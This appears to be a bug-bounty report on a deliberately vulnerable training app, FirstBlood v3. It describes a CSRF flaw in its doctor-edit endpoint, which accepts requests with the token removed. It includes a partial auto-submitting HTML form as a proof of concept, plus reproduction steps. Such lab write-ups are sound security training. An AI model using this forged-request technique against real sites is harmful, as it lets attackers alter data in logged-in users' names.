FirstBlood-#1774Edit doctor page CSRF
This issue was discovered on FirstBlood v3

On 2022-12-15, lumbridge7 Level 4 reported:


As an admin logged in 1stblood v3, it is possible to edit a doctor by sending a POST request to the endpoint /drpanel/drapi/edit-dr.php. The original request has the following body:

drid=3&name=Jon&bio=An experienced neurologist, having practiced for over 15 years. He received his medical degree from the Johns Hopkins School of Medicine and completed his residency and fellowship at the University of California, Los Angeles. In his practice, he specializes in the diagnosis and treatment of conditions affecting the nervous system, such as epilepsy and multiple sclerosis. He is committed to staying up-to-date on the latest developments in his field and providing compassionate care to his patients.&bookable=0&csrf=_lWZscVZYTLAzhKuoNn6i

The parameter csrf should act as a defense against CSRF attacks, the problem is that by just removing it from the request, the API endpoint still accepts the request and changes the doctor information.

Steps to reproduce

  1. Serve the poc, let's say it's on http://localhost:9000
<form id="form" action="" method="POST">
    <input type="text" name="drid" value="3">
    <input type="text" name="name" value="Csrf">
    <input type="text" name="bookable" value="1">
    <input type="text" name="bio" value="THIS IS CSRF">

    window.onload = function() {
        const form = document.getElementById('form');
  1. go to and login
  2. now that you are logged as an admin, and have the cookie set in place, visit the link of the poc (http://localhost:9000)
  3. you should see a blank page with the message Success! Your doctor has been modified.


P4 Low

Endpoint: /drpanel/drapi/edit-dr.php

Parameter: null

Payload: null

FirstBlood ID: 58
Vulnerability Type: Cross Site Request Forgery

There is a CSRF vulnerability on /drpanel/edit-dr.php via a GET request and lack of token validation. It was intended that a POST request does not work due to no cookies sent on the request (because of SameSite), but to an over sight this cookie was overwritten rendering it useless.